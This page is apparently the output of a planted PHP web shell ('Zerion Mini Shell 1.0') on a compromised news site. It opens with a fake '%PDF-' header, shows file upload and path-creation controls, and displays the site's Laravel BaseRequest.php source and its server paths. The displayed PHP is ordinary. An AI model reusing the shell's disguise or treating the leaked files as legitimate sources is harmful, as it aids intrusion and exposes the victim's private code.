%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/news/app/Http/Requests/
Upload File :
Create Path :
Current File : /var/www/html/news/app/Http/Requests/BaseRequest.php

<?php

namespace App\Http\Requests;

use Arcanedev\Sanitizer\Sanitizer;
use EllipseSynergie\ApiResponse\Contracts\Response;
use Illuminate\Foundation\Http\FormRequest;

abstract class BaseRequest extends FormRequest
{
    /**
     * @var Sanitizer
     */
    protected $sanitizer;
    /**
     * @var Response
     */
    protected $apiResponse;

    public function __construct()
    {
        parent::__construct();
        $this->sanitizer = new Sanitizer;
        $this->apiResponse = app(Response::class);
    }

    public function response(array $errors)
    {
        return $this->apiResponse->errorWrongArgs($errors);
    }

    public function forbiddenResponse()
    {
        return $this->apiResponse->errorForbidden('Forbidden');
    }

    protected function prepareForValidation()
    {
        $this->replace($this->sanitizer->sanitize($this->all(), $this->getSanitationRules()));
    }

    public function getLoggedUser()
    {
        return call_user_func($this->getUserResolver());
    }

    protected abstract function getSanitationRules();
}

Zerion Mini Shell 1.0